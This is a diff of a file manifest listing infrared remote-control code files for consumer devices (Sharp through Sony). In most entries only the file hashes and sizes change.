-F:63706c6aee3be1343952f3fed256f3c3:985:infrared/_CSV-IRDB_/Sharp/Video Projector/13,-1.ir +F:e62fd5727d75d801a137a5d374bbf7ee:215:infrared/_CSV-IRDB_/Sharp/DTV Decoder/1,-1.ir +F:f05623b8f2b4e25a63d13ecb703d12af:930:infrared/_CSV-IRDB_/Sharp/Monitor/1,-1.ir +F:43704dad95386ebcd8646f0cd9f45570:1984:infrared/_CSV-IRDB_/Sharp/TV/1,-1.ir +F:89c29e2ccd43275a6abae308c5b58d21:2067:infrared/_CSV-IRDB_/Sharp/Unknown_CV-2131CK1/1,-1.ir +F:c4cf504494cebb206941a1dd1c117384:1852:infrared/_CSV-IRDB_/Sharp/Unknown_G0048TA/19,-1.ir +F:7ce31d3ecfa489ddd2e1b7722b69650c:2113:infrared/_CSV-IRDB_/Sharp/Unknown_G0412GE/3,-1.ir +F:8f538bb4f634f77fff63c8733f27bb64:3444:infrared/_CSV-IRDB_/Sharp/Unknown_G0938CESA/1,-1.ir +F:14fb57cd889339d156c7a1001293ada1:3335:infrared/_CSV-IRDB_/Sharp/Unknown_G1014BMSA/1,-1.ir +F:1c37231bb4c78d6565dc7d609eb80643:3589:infrared/_CSV-IRDB_/Sharp/Unknown_G1044BMSA/1,-1.ir +F:2678939220f7182b143649a4154f3900:4528:infrared/_CSV-IRDB_/Sharp/Unknown_GJ210/0,189.ir +F:c5f78301eee24d3fd30e11c2eb45ee53:3765:infrared/_CSV-IRDB_/Sharp/Unknown_RRMCGA030WJSA/8,48.ir +F:bafae145d939189d9b422221048e6e0a:2261:infrared/_CSV-IRDB_/Sharp/Unknown_SHARP/1,-1.ir +F:a861759476e0304a653cb99d89cda84d:2120:infrared/_CSV-IRDB_/Sharp/Unknown_sharp1781/1,-1.ir +F:f571819bb0503442990efef410079254:2809:infrared/_CSV-IRDB_/Sharp/VCR/3,-1.ir +F:7fc9398b2550c66d6ea4a6294d2ba233:923:infrared/_CSV-IRDB_/Sharp/Video Projector/13,-1.ir D:infrared/_CSV-IRDB_/Sharpsat/Unknown_T28 -F:8bc45f2f130456a02ae7c52770859697:2096:infrared/_CSV-IRDB_/Sharpsat/Unknown_T28/128,38.ir +F:7c81239dfd8ece38d4db8993570493fb:1962:infrared/_CSV-IRDB_/Sharpsat/Unknown_T28/128,38.ir D:infrared/_CSV-IRDB_/Sherwood/Receiver D:infrared/_CSV-IRDB_/Sherwood/Unknown_GC-1285 D:infrared/_CSV-IRDB_/Sherwood/Unknown_RM-101 @@ -5227,76 +5227,76 @@ D:infrared/_CSV-IRDB_/Sherwood/Unknown_RM-636 D:infrared/_CSV-IRDB_/Sherwood/Unknown_RM-RV-N25 D:infrared/_CSV-IRDB_/Sherwood/Unknown_Sherwood-S2770R-CP-II D:infrared/_CSV-IRDB_/Sherwood/Unknown_sherwood -F:d52361fbc7a621353231b5a8b284b94a:1303:infrared/_CSV-IRDB_/Sherwood/Receiver/131,69.ir -F:d5fe4ef8192749c5b6f0cfb66ba76d7d:3409:infrared/_CSV-IRDB_/Sherwood/Unknown_GC-1285/129,114.ir -F:3514bccec88cdf784304afb7d4cb7490:2947:infrared/_CSV-IRDB_/Sherwood/Unknown_RM-101/69,131.ir -F:e9c637c78c587e2ef063cf9e6fd82280:5324:infrared/_CSV-IRDB_/Sherwood/Unknown_RM-636/131,68.ir -F:4f91ff502da5884314f5c37c2891f717:6346:infrared/_CSV-IRDB_/Sherwood/Unknown_RM-RV-N25/131,68.ir -F:ae7dfacbe19665a00a903c6a5ad32a20:4170:infrared/_CSV-IRDB_/Sherwood/Unknown_Sherwood-S2770R-CP-II/129,123.ir -F:58d843aa17ff0baa4cfb9e42c618c1ce:2109:infrared/_CSV-IRDB_/Sherwood/Unknown_sherwood/129,122.ir -F:ec443b38d5cd9a8f833fa4fe485edde6:4585:infrared/_CSV-IRDB_/Sherwood/Unknown_sherwood/131,69.ir +F:29a834bd34ceb965ff63b7c037fc9f66:1223:infrared/_CSV-IRDB_/Sherwood/Receiver/131,69.ir +F:356ef74438bf24342d242ade5c93340d:3191:infrared/_CSV-IRDB_/Sherwood/Unknown_GC-1285/129,114.ir +F:65b439cb3f2ca13348b62481cfb4cd34:2759:infrared/_CSV-IRDB_/Sherwood/Unknown_RM-101/69,131.ir +F:283bb1051369f3399e365a0fcf5ad5b6:4992:infrared/_CSV-IRDB_/Sherwood/Unknown_RM-636/131,68.ir +F:bfe3b548b744435960ae7185ed6c3f90:5954:infrared/_CSV-IRDB_/Sherwood/Unknown_RM-RV-N25/131,68.ir +F:919ecb22e3b59d8c9d0a71cc19a44610:3916:infrared/_CSV-IRDB_/Sherwood/Unknown_Sherwood-S2770R-CP-II/129,123.ir +F:452ab37db1c06051b4fd60b8f0c792c1:1975:infrared/_CSV-IRDB_/Sherwood/Unknown_sherwood/129,122.ir +F:97d5b3f0a4fd805b63838d272f25524d:4295:infrared/_CSV-IRDB_/Sherwood/Unknown_sherwood/131,69.ir D:infrared/_CSV-IRDB_/Shinco/Unknown_RC-1730 -F:9d3d6df96012fc792d15a4e4ac20fafb:3919:infrared/_CSV-IRDB_/Shinco/Unknown_RC-1730/0,153.ir +F:9d757934cbee4fc29639a29e5be7c92e:3671:infrared/_CSV-IRDB_/Shinco/Unknown_RC-1730/0,153.ir D:infrared/_CSV-IRDB_/Shuttle/Unknown_mceusb -F:df6099d3233cdc6d01e8f4033b00b2da:4899:infrared/_CSV-IRDB_/Shuttle/Unknown_mceusb/4,15.ir +F:df95835a8e2ce300f27b5e7fd327e620:4591:infrared/_CSV-IRDB_/Shuttle/Unknown_mceusb/4,15.ir D:infrared/_CSV-IRDB_/Siemens/Unknown_fb405 D:infrared/_CSV-IRDB_/Siemens/Unknown_siemens-fb400 D:infrared/_CSV-IRDB_/Siemens/Unknown_siemens1 -F:9a2a51dac1469fb7fb43f9fbfd476f95:2238:infrared/_CSV-IRDB_/Siemens/Unknown_fb405/134,84.ir -F:dd143abfb86f90fd6be4c30e0a0c7d41:3907:infrared/_CSV-IRDB_/Siemens/Unknown_siemens-fb400/131,89.ir -F:b3a90149b53c4856280644db2cc46533:3612:infrared/_CSV-IRDB_/Siemens/Unknown_siemens1/49,-1.ir +F:1542013aa2623676326033a4a7eb6685:2098:infrared/_CSV-IRDB_/Siemens/Unknown_fb405/134,84.ir +F:2bd5b1dc143eae5172a7c542556ccadd:3659:infrared/_CSV-IRDB_/Siemens/Unknown_siemens-fb400/131,89.ir +F:072264edafc502e8ce3d96902797640a:3382:infrared/_CSV-IRDB_/Siemens/Unknown_siemens1/49,-1.ir D:infrared/_CSV-IRDB_/Sigma Designs/DVD Player D:infrared/_CSV-IRDB_/Sigma Designs/Unknown_SIR -F:1a8463ddd5e09fb01a33a5056d1683b5:3449:infrared/_CSV-IRDB_/Sigma Designs/DVD Player/128,-1.ir -F:8ebab6989ae4bbbbb8eb23695168e189:3541:infrared/_CSV-IRDB_/Sigma Designs/Unknown_SIR/128,-1.ir +F:2ee0bccde7c74a0c5a07ed2f9f59808a:3225:infrared/_CSV-IRDB_/Sigma Designs/DVD Player/128,-1.ir +F:4513d79250ab307035a289e6d0284339:3317:infrared/_CSV-IRDB_/Sigma Designs/Unknown_SIR/128,-1.ir D:infrared/_CSV-IRDB_/Sigmatek/Unknown_X100 D:infrared/_CSV-IRDB_/Sigmatek/Unknown_XMB-510-PRO -F:44e94a481cd6a25a6dfab761014ebcd2:3919:infrared/_CSV-IRDB_/Sigmatek/Unknown_X100/8,-1.ir -F:674529bfb211cfbe99a195d4b7362e9a:4370:infrared/_CSV-IRDB_/Sigmatek/Unknown_XMB-510-PRO/8,-1.ir +F:8bf9ac56215cadcb36a4ad85d8e28441:3671:infrared/_CSV-IRDB_/Sigmatek/Unknown_X100/8,-1.ir +F:9a4f32562e8dbbfd16737fa28d31aba6:4092:infrared/_CSV-IRDB_/Sigmatek/Unknown_XMB-510-PRO/8,-1.ir D:infrared/_CSV-IRDB_/Silvercrest/Unknown_RCH7S52 D:infrared/_CSV-IRDB_/Silvercrest/Unknown_URC-801 -F:ec7d6609cda1a6bd3ce46805bf57a26d:3719:infrared/_CSV-IRDB_/Silvercrest/Unknown_RCH7S52/32,-1.ir -F:66536f8dfb694a46c2e5a7d39c1b64d8:4409:infrared/_CSV-IRDB_/Silvercrest/Unknown_URC-801/4,15.ir +F:3efd6e4f11000fa810a4eba10c6fcfbc:3483:infrared/_CSV-IRDB_/Silvercrest/Unknown_RCH7S52/32,-1.ir +F:7c9b825ee507f029e134e4a67f77982e:4131:infrared/_CSV-IRDB_/Silvercrest/Unknown_URC-801/4,15.ir D:infrared/_CSV-IRDB_/Sirius/Unknown_SBKB-3201KR D:infrared/_CSV-IRDB_/Sirius/Unknown_ST2 D:infrared/_CSV-IRDB_/Sirius/Unknown_Sportster -F:dfbf741b850b2bd73435db35437c9db0:2191:infrared/_CSV-IRDB_/Sirius/Unknown_SBKB-3201KR/128,-1.ir -F:713f464557de19494f3cfc7325f671e4:2690:infrared/_CSV-IRDB_/Sirius/Unknown_ST2/0,-1.ir -F:f0648d6f074a6edb0f0d597a56472960:2375:infrared/_CSV-IRDB_/Sirius/Unknown_Sportster/1,-1.ir +F:65fc860846bd0f840bf14d47f8e4608e:2051:infrared/_CSV-IRDB_/Sirius/Unknown_SBKB-3201KR/128,-1.ir +F:dd67ad24f1495abec61ca8182cc9a9a1:2520:infrared/_CSV-IRDB_/Sirius/Unknown_ST2/0,-1.ir +F:0b4b606c2ae643a5a488314571760526:2223:infrared/_CSV-IRDB_/Sirius/Unknown_Sportster/1,-1.ir D:infrared/_CSV-IRDB_/Sitronics/Unknown_RC-D010E -F:398cf6f6512c39eee6cf5eabfc0b59b1:4663:infrared/_CSV-IRDB_/Sitronics/Unknown_RC-D010E/0,251.ir +F:f6ef3ead2605f404f281f912a4f6c75d:4367:infrared/_CSV-IRDB_/Sitronics/Unknown_RC-D010E/0,251.ir D:infrared/_CSV-IRDB_/Sky/Unknown_DVB-S D:infrared/_CSV-IRDB_/Sky/Unknown_rev.4 -F:962a1a37aeed583ab230807f79153df9:3638:infrared/_CSV-IRDB_/Sky/Unknown_DVB-S/0,12.ir -F:fbf7e1303e4adf969e82ab38fa462202:923:infrared/_CSV-IRDB_/Sky/Unknown_rev.4/0,0.ir +F:6a428ffde0d291623e7499544b9b5a0e:3408:infrared/_CSV-IRDB_/Sky/Unknown_DVB-S/0,12.ir +F:e01eae9a3e85697d9a94a470bf348951:861:infrared/_CSV-IRDB_/Sky/Unknown_rev.4/0,0.ir D:infrared/_CSV-IRDB_/Skymaster/Unknown_2421 D:infrared/_CSV-IRDB_/Skymaster/Unknown_2424 D:infrared/_CSV-IRDB_/Skymaster/Unknown_DCI D:infrared/_CSV-IRDB_/Skymaster/Unknown_SkymasterXLS99 D:infrared/_CSV-IRDB_/Skymaster/Unknown_XL10 D:infrared/_CSV-IRDB_/Skymaster/Unknown_skymaster -F:bd6315c28f89c87eeba5f197d97e67ae:6076:infrared/_CSV-IRDB_/Skymaster/Unknown_2421/2,-1.ir -F:b0da7a4a74a93196994738b9a01c6e93:2664:infrared/_CSV-IRDB_/Skymaster/Unknown_2424/37,250.ir -F:699df32af33d349459ea39a8546eba81:3346:infrared/_CSV-IRDB_/Skymaster/Unknown_DCI/5,-1.ir -F:8e7e8006dc18ffe79b1e2cff53727bb3:1349:infrared/_CSV-IRDB_/Skymaster/Unknown_SkymasterXLS99/19,1.ir -F:7feb85ac7e6e30fd224879537052914b:2327:infrared/_CSV-IRDB_/Skymaster/Unknown_XL10/6,-1.ir -F:9b268b56b7f4f593937238639a1b1e18:2952:infrared/_CSV-IRDB_/Skymaster/Unknown_skymaster/19,1.ir +F:ab014148873f7ce5f499b5e6323d8514:5690:infrared/_CSV-IRDB_/Skymaster/Unknown_2421/2,-1.ir +F:dd5905031e3c7beb8bc40ebdc2794efa:2494:infrared/_CSV-IRDB_/Skymaster/Unknown_2424/37,250.ir +F:a21f9043fd5a5b759e6b8df470e2b88e:3134:infrared/_CSV-IRDB_/Skymaster/Unknown_DCI/5,-1.ir +F:6fd3bdeda55218094046aaac1b67be08:1263:infrared/_CSV-IRDB_/Skymaster/Unknown_SkymasterXLS99/19,1.ir +F:93bb38ba8b70b0f1b077dfc31ed64b8a:2175:infrared/_CSV-IRDB_/Skymaster/Unknown_XL10/6,-1.ir +F:a6cf99cff7eb0477b9a6b064cf055f5a:2764:infrared/_CSV-IRDB_/Skymaster/Unknown_skymaster/19,1.ir D:infrared/_CSV-IRDB_/Slim Art/Unknown_SA-100 -F:de74f7ade4c0a66286575e960ef01053:4688:infrared/_CSV-IRDB_/Slim Art/Unknown_SA-100/0,-1.ir +F:fef65f9c781a5b88780d02e1b6794eb4:4392:infrared/_CSV-IRDB_/Slim Art/Unknown_SA-100/0,-1.ir D:infrared/_CSV-IRDB_/Slim Devices/Unknown_Devices -F:83fd04fd880eedbee6546d265b75d02d:2971:infrared/_CSV-IRDB_/Slim Devices/Unknown_Devices/110,-1.ir +F:aef4eda187f8d6c368ee04e4523f47a3:2783:infrared/_CSV-IRDB_/Slim Devices/Unknown_Devices/110,-1.ir D:infrared/_CSV-IRDB_/SnapStream/Unknown_Firefly-Mini -F:fa275e6da0460ce76ff0cb301c50e172:3371:infrared/_CSV-IRDB_/SnapStream/Unknown_Firefly-Mini/0,-1.ir +F:38086c280a9acb0befaf078e2f46b131:3159:infrared/_CSV-IRDB_/SnapStream/Unknown_Firefly-Mini/0,-1.ir D:infrared/_CSV-IRDB_/Snazio/Unknown_Net -F:65bdde65bc0625fdc98328d34e4210aa:4407:infrared/_CSV-IRDB_/Snazio/Unknown_Net/8,230.ir +F:279afb2c148d99611ce0ab652a5a4f4b:4129:infrared/_CSV-IRDB_/Snazio/Unknown_Net/8,230.ir D:infrared/_CSV-IRDB_/Snell/Speaker -F:542de069b708d5dbf647d07571a35554:1148:infrared/_CSV-IRDB_/Snell/Speaker/80,0.ir +F:ead008d82fe200cae312e1879db60996:1080:infrared/_CSV-IRDB_/Snell/Speaker/80,0.ir D:infrared/_CSV-IRDB_/Sonance/Distributed Audio D:infrared/_CSV-IRDB_/Sonance/System Controller -F:4cf45558ad4f76833ee0acd44d99c03d:2403:infrared/_CSV-IRDB_/Sonance/Distributed Audio/0,90.ir -F:87243d4f6c0be94f2b61add0eb6d371e:1150:infrared/_CSV-IRDB_/Sonance/System Controller/132,132.ir +F:ab30c870c8acc16e4c0cc3c4bed942ab:2245:infrared/_CSV-IRDB_/Sonance/Distributed Audio/0,90.ir +F:75a76eabed59231e29f73a48c21dcb19:1076:infrared/_CSV-IRDB_/Sonance/System Controller/132,132.ir D:infrared/_CSV-IRDB_/Sonicview/Unknown_SV-360 -F:3f63c21351789991dd33353f81848389:4584:infrared/_CSV-IRDB_/Sonicview/Unknown_SV-360/15,-1.ir +F:b12aaf9c2e6cac6399847d2efa54296a:4294:infrared/_CSV-IRDB_/Sonicview/Unknown_SV-360/15,-1.ir D:infrared/_CSV-IRDB_/Sony/Boombox D:infrared/_CSV-IRDB_/Sony/CD Changer D:infrared/_CSV-IRDB_/Sony/CD Jukebox @@ -5389,228 +5389,228 @@ D:infrared/_CSV-IRDB_/Sony/Unknown_sonytv D:infrared/_CSV-IRDB_/Sony/Unknown_tv D:infrared/_CSV-IRDB_/Sony/VCR D:infrared/_CSV-IRDB_/Sony/Video Projector -F:23648ede1d70e9fefa2abbf9b2ab697d:1936:infrared/_CSV-IRDB_/Sony/Boombox/100,-1.ir -F:1300a2034a9ea6ea9490e1924a49b17f:881:infrared/_CSV-IRDB_/Sony/Boombox/68,-1.ir -F:09f26b335d5f12c2689359fcbfcad427:478:infrared/_CSV-IRDB_/Sony/CD Changer/17,-1.ir -F:34bcdb70653e2833c4ba25cf67eb6997:134:infrared/_CSV-IRDB_/Sony/CD Jukebox/1,-1.ir -F:f4df49d27ca63f47ff5f175bbf5c6a4b:12995:infrared/_CSV-IRDB_/Sony/CD Jukebox/17,-1.ir -F:2b285c5fd9746c692f02f38ab996ff0d:126:infrared/_CSV-IRDB_/Sony/CD Jukebox/23,-1.ir -F:86e14429e61e132d9b467eab4610bae4:137:infrared/_CSV-IRDB_/Sony/CD Jukebox/26,153.ir -F:7dbde63796e16f6138a5385888df97ab:126:infrared/_CSV-IRDB_/Sony/CD Jukebox/36,-1.ir -F:7e9006a7b1c07213cad2cafb040c2360:3554:infrared/_CSV-IRDB_/Sony/CD Jukebox/57,-1.ir -F:5c9b79ed159786f5c7f41c94a3e46d5f:3836:infrared/_CSV-IRDB_/Sony/CD Jukebox/81,-1.ir -F:34bcdb70653e2833c4ba25cf67eb6997:134:infrared/_CSV-IRDB_/Sony/CD Player/1,-1.ir -F:7c0660e985afb3974778c0023d395c6e:15483:infrared/_CSV-IRDB_/Sony/CD Player/17,-1.ir -F:3a9956dfeac975d2bacabddf3d5a8e3c:6425:infrared/_CSV-IRDB_/Sony/CD Player/57,-1.ir -F:67be1288bdee98c668d5163766812188:6524:infrared/_CSV-IRDB_/Sony/CD Player/81,-1.ir -F:3be4117ba526d49a5db62372f2d0ed2f:1196:infrared/_CSV-IRDB_/Sony/Cassette Tape/14,-1.ir -F:6b695364017d335aa0abc9bb2589f4e8:794:infrared/_CSV-IRDB_/Sony/Cassette Tape/16,-1.ir -F:1684bce3900507bb6c5baed0cb1741ff:2835:infrared/_CSV-IRDB_/Sony/DAT/28,-1.ir -F:3c459138182287c953172944d35d127e:2715:infrared/_CSV-IRDB_/Sony/DSP/26,233.ir -F:b10ce9e56e5ab2acf8e6d2cb8c6ae155:784:infrared/_CSV-IRDB_/Sony/DSS/1,-1.ir -F:5102dcea6df17617866a5faca161c106:132:infrared/_CSV-IRDB_/Sony/DSS/11,-1.ir -F:4a54eb8616117a0f75959e52833f2f3c:10105:infrared/_CSV-IRDB_/Sony/DSS/183,-1.ir -F:78bd2b8bb5194ddc00ab90a895800db9:3186:infrared/_CSV-IRDB_/Sony/DSS/23,133.ir -F:9a7c90288b3d405fc432cbcdfb4057d1:231:infrared/_CSV-IRDB_/Sony/DSS/3,-1.ir -F:9a7f1ff8f617509b62696840de525c35:134:infrared/_CSV-IRDB_/Sony/DSS/5,1.ir -F:bb010d5486e6a865efd356cd490cdf3f:415:infrared/_CSV-IRDB_/Sony/DSS/64,-1.ir -F:7d88512175694339b0631d145b3edfc2:422:infrared/_CSV-IRDB_/Sony/DV Cam/185,-1.ir -F:422e0ba2140c32d534a77ab4e0cd20d4:232:infrared/_CSV-IRDB_/Sony/DV Cam/217,-1.ir -F:41fbb550c6fa69cdb607c5e92814fd30:1362:infrared/_CSV-IRDB_/Sony/DV Cam/7,-1.ir -F:52940df02ae14c5129cebe35ebb0202e:418:infrared/_CSV-IRDB_/Sony/DVD Player/1,-1.ir -F:cf7e5e957d57a3fe51aa4ef89248d5c7:135:infrared/_CSV-IRDB_/Sony/DVD Player/164,-1.ir -F:4cdf34ddee3e0ea02b098cd06c9e6245:1479:infrared/_CSV-IRDB_/Sony/DVD Player/26,218.ir -F:fc4abc8d577450a14bab3f9d7a40b44b:19398:infrared/_CSV-IRDB_/Sony/DVD Player/26,73.ir -F:7ec226f60980a5dcabc1f27eac7ad681:4316:infrared/_CSV-IRDB_/Sony/DVD Player/26,83.ir -F:690e4c07c36258ee7c73f6e1e4579c4f:3618:infrared/_CSV-IRDB_/Sony/DVD Player/26,98.ir -F:ce83d993df06e88f131c01d37a14e085:142:infrared/_CSV-IRDB_/Sony/DVD Player/4,-1.ir -F:6cabc6f7d70850eb36dcd6dec89bdd33:320:infrared/_CSV-IRDB_/Sony/Digital Recorder/1,-1.ir -F:54bca03bbf9e94f2851348541115ed2a:3089:infrared/_CSV-IRDB_/Sony/Digital Recorder/26,154.ir -F:ff4e174a3c3f2e4777a16f156a696e0f:1979:infrared/_CSV-IRDB_/Sony/Digital Recorder/26,73.ir -F:73b47261b19506a14860386d109959e2:705:infrared/_CSV-IRDB_/Sony/Digital Recorder/26,98.ir -F:d75c77dd1a52ca3352a94024e0a796e4:4921:infrared/_CSV-IRDB_/Sony/Laser Disc/6,-1.ir -F:253846b3cd4b793df07c47e286e73d50:7192:infrared/_CSV-IRDB_/Sony/Mini-Disc/15,-1.ir -F:7525b65fe60597fbafc2bfcee003fae6:414:infrared/_CSV-IRDB_/Sony/Mini-Disc/17,-1.ir -F:35a800603d6bcfc0a86b17abf2f79e58:126:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/11,-1.ir -F:9b7fd31e0afd007e197c85076595dc19:1088:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/12,-1.ir -F:48d4395eba5989fa4c362aa72bb534ad:2007:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/144,-1.ir -F:320ed5278834cf0bbcfa35e337065a9a:126:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/15,-1.ir -F:ade57712bc380e675a468cc8803f0b00:3615:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/16,-1.ir -F:e3de1709718857f3c3262d53035e5c2f:126:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/17,-1.ir -F:28963fba4e05d5ee354d188c0968604b:1096:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/18,-1.ir -F:a7f2cdd35e7c0b10e4577933a2345cbc:126:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/183,-1.ir -F:25e18cd2df0fde47de8d2c506ecec9ce:126:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/2,-1.ir -F:2cbde539dec613967e24724fc8419db5:2040:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/20,-1.ir -F:575180510f763fead67ac9a6aa785ac1:3345:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/23,-1.ir -F:f73e3bf9872ff636771fca7b686df22d:1591:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/26,66.ir -F:b5b36f76f4cc386cf13e00557007708a:126:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/26,73.ir -F:ce9f0faad1e1ea0cfdd4c61397995bd1:4287:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/36,-1.ir -F:0c0ab6fe8b5222c9b5350ba138d609bd:126:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/6,-1.ir -F:615f8a617580cb76c775fec4cb4b6a2a:126:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/7,-1.ir -F:57e439224efe1b3aa5ccb7ce839b75f0:1540:infrared/_CSV-IRDB_/Sony/Receiver/1,-1.ir -F:35f503c4782deceb45a52d6bee96ce5e:883:infrared/_CSV-IRDB_/Sony/Receiver/11,-1.ir -F:a6722ff1876c18ca1ccc1721a200b2c0:2577:infrared/_CSV-IRDB_/Sony/Receiver/12,-1.ir -F:518fc5475cd4402124187cce8200f226:2152:infrared/_CSV-IRDB_/Sony/Receiver/121,-1.ir -F:842131c68998e01da1141a9d397dedb0:5721:infrared/_CSV-IRDB_/Sony/Receiver/13,-1.ir -F:73e8d43aac03110d53019b47e0900ef4:3029:infrared/_CSV-IRDB_/Sony/Receiver/144,-1.ir -F:6c100b02cbf4e553a7637db8e24c0176:1194:infrared/_CSV-IRDB_/Sony/Receiver/15,-1.ir -F:71300d22932651bb9334022695df492d:8577:infrared/_CSV-IRDB_/Sony/Receiver/16,-1.ir -F:ec1c4ecd654c031b4b33393cbc59780b:512:infrared/_CSV-IRDB_/Sony/Receiver/17,-1.ir -F:883b68a48af05748f40aa17592f04299:1069:infrared/_CSV-IRDB_/Sony/Receiver/176,-1.ir -F:b401597b0c78232dec28eac26f599d8b:3540:infrared/_CSV-IRDB_/Sony/Receiver/18,-1.ir -F:7d281890ea1e16bba76d38390dfe782d:312:infrared/_CSV-IRDB_/Sony/Receiver/2,-1.ir -F:1b3baee77e915a2a1a947003a9e78dd6:1866:infrared/_CSV-IRDB_/Sony/Receiver/20,-1.ir -F:b27d042afcd17e80ed77e62e36af80f6:5259:infrared/_CSV-IRDB_/Sony/Receiver/23,-1.ir -F:f99412af4abaf701b76f2eae537d469a:1430:infrared/_CSV-IRDB_/Sony/Receiver/26,66.ir -F:dece17cd924a92b6a36e9e6acfe7e50d:802:infrared/_CSV-IRDB_/Sony/Receiver/26,73.ir -F:8b406c055d0e3b3b04cf5d99fe11322d:21218:infrared/_CSV-IRDB_/Sony/Receiver/36,-1.ir -F:64cb3076e0f124dcefc688f1663bc812:427:infrared/_CSV-IRDB_/Sony/Receiver/4,-1.ir -F:fdbd7a97cd5eaca151e67add9d510a6d:4218:infrared/_CSV-IRDB_/Sony/Receiver/48,-1.ir -F:5a511b56687e0c1c182c104aac2930bb:213:infrared/_CSV-IRDB_/Sony/Receiver/6,-1.ir -F:ddcc65704ffc77f2505457b47f618896:213:infrared/_CSV-IRDB_/Sony/Receiver/7,-1.ir -F:ea8ea1a366b4a94f37214206bb7814de:126:infrared/_CSV-IRDB_/Sony/Receiver/8,-1.ir -F:afa49e6d5115c629037f2bc94a45b1d7:1924:infrared/_CSV-IRDB_/Sony/Surround Processor/26,233.ir -F:70bbda1c84edb1f1a92ca9d0897aadad:10057:infrared/_CSV-IRDB_/Sony/TV/1,-1.ir -F:ce38c83917111e1d4015dfbf8d4f5a56:719:infrared/_CSV-IRDB_/Sony/TV/119,-1.ir -F:8fd2cfaa632c8b9c503a081ae3898cee:1865:infrared/_CSV-IRDB_/Sony/TV/151,-1.ir -F:052d00b2a47f99862385a85875473fc6:5845:infrared/_CSV-IRDB_/Sony/TV/164,-1.ir -F:1e213ce8d4dce7b9c47170fd5de9eddc:131:infrared/_CSV-IRDB_/Sony/TV/183,-1.ir -F:c026bfcc9c09addd2245c689d5e66085:1858:infrared/_CSV-IRDB_/Sony/TV/26,-1.ir -F:f9abdb315a8d11175b0c3158e437e49f:741:infrared/_CSV-IRDB_/Sony/TV/26,42.ir -F:8f423737f0046b5ccad6fc644fb86988:1275:infrared/_CSV-IRDB_/Sony/TV/3,-1.ir -F:a562e9a1ede421c5c6db9daa5c8aa3b9:1289:infrared/_CSV-IRDB_/Sony/TV/84,-1.ir -F:fdce84f4126ee7ec069c2d5d73124f67:3449:infrared/_CSV-IRDB_/Sony/TiVo/183,-1.ir -F:3e97032836b045dea347916b2a10bd8a:3166:infrared/_CSV-IRDB_/Sony/TiVo/23,133.ir -F:1eff51fff023f8030e0c99b95f0855e4:6447:infrared/_CSV-IRDB_/Sony/TiVo/26,154.ir -F:2ba790afac3d69942b1bba0b200f70a3:2782:infrared/_CSV-IRDB_/Sony/Unknown_870/1,-1.ir -F:f1c922c7ce13d9fa333d5588b837dbfd:4369:infrared/_CSV-IRDB_/Sony/Unknown_CD/17,-1.ir -F:2310ac536966d74bcc7a6682a946826d:4271:infrared/_CSV-IRDB_/Sony/Unknown_CDIR/17,-1.ir -F:775e57da4f90ea95e4f2c628f5e4141e:3993:infrared/_CSV-IRDB_/Sony/Unknown_CDP-790/17,-1.ir -F:278a91d57d30596e7e60bac12ea3ae4a:3996:infrared/_CSV-IRDB_/Sony/Unknown_D1000/89,-1.ir -F:75e6b7d311653ece89ccb0903beabb18:2410:infrared/_CSV-IRDB_/Sony/Unknown_DAT/28,-1.ir -F:f047d819cd9e05bc7313fb265eb777cf:3399:infrared/_CSV-IRDB_/Sony/Unknown_DVD/26,18.ir -F:de3ae4fb121cdf61df70a67aeb9a098b:3876:infrared/_CSV-IRDB_/Sony/Unknown_DVD/26,73.ir -F:b8d7b93de7650a409cf0704c1481d385:2408:infrared/_CSV-IRDB_/Sony/Unknown_RM-687C/1,-1.ir -F:8a8398e7e48b621a21fdc05260f7bcdd:1195:infrared/_CSV-IRDB_/Sony/Unknown_RM-860/1,-1.ir -F:9f0a97bbd24eb000ca945ac669e8a163:2864:infrared/_CSV-IRDB_/Sony/Unknown_RM-861/1,-1.ir -F:1448b8499c55fdd63dad23001688e209:2779:infrared/_CSV-IRDB_/Sony/Unknown_RM-873/1,-1.ir -F:17202fea2c76ad076d4658468dea280c:2191:infrared/_CSV-IRDB_/Sony/Unknown_RM-D190/17,-1.ir -F:08c2089d04ea43fea48381db78d2bc63:3482:infrared/_CSV-IRDB_/Sony/Unknown_RM-D270/17,-1.ir -F:95a2d6493a40c3a9be1b95bd922a600d:2479:infrared/_CSV-IRDB_/Sony/Unknown_RM-D295/17,-1.ir -F:b674828512246fda26589cb0fcac3960:3281:infrared/_CSV-IRDB_/Sony/Unknown_RM-D302/17,-1.ir -F:bffd54769ca4aad8d4988ad1faaf76a4:2473:infrared/_CSV-IRDB_/Sony/Unknown_RM-D320/17,-1.ir -F:15180fbd5c8237c85bc8681c415fdce1:2848:infrared/_CSV-IRDB_/Sony/Unknown_RM-D325/17,-1.ir -F:a23e3e50f31333adfb624afa6711e506:2577:infrared/_CSV-IRDB_/Sony/Unknown_RM-D391/17,-1.ir -F:602a26277443359ced9099dacfeeabd2:2861:infrared/_CSV-IRDB_/Sony/Unknown_RM-D520/17,-1.ir -F:b4392e9bd66a77b866ea8349f30cb019:2729:infrared/_CSV-IRDB_/Sony/Unknown_RM-D55/17,-1.ir -F:f71cf011b4b7e92183406313ac81e35f:3686:infrared/_CSV-IRDB_/Sony/Unknown_RM-D690/17,-1.ir -F:159f589bd1160940ad0d98fed898c9d9:4508:infrared/_CSV-IRDB_/Sony/Unknown_RM-D706/17,-1.ir -F:9c214410249a77bbfbf8225c3da74f84:4261:infrared/_CSV-IRDB_/Sony/Unknown_RM-D797/17,-1.ir -F:41dd2a18be86cf2fefb670ad5c1216e2:8402:infrared/_CSV-IRDB_/Sony/Unknown_RM-D7M/15,-1.ir -F:5044c5f801316a8915328c205065873a:2857:infrared/_CSV-IRDB_/Sony/Unknown_RM-D820/17,-1.ir 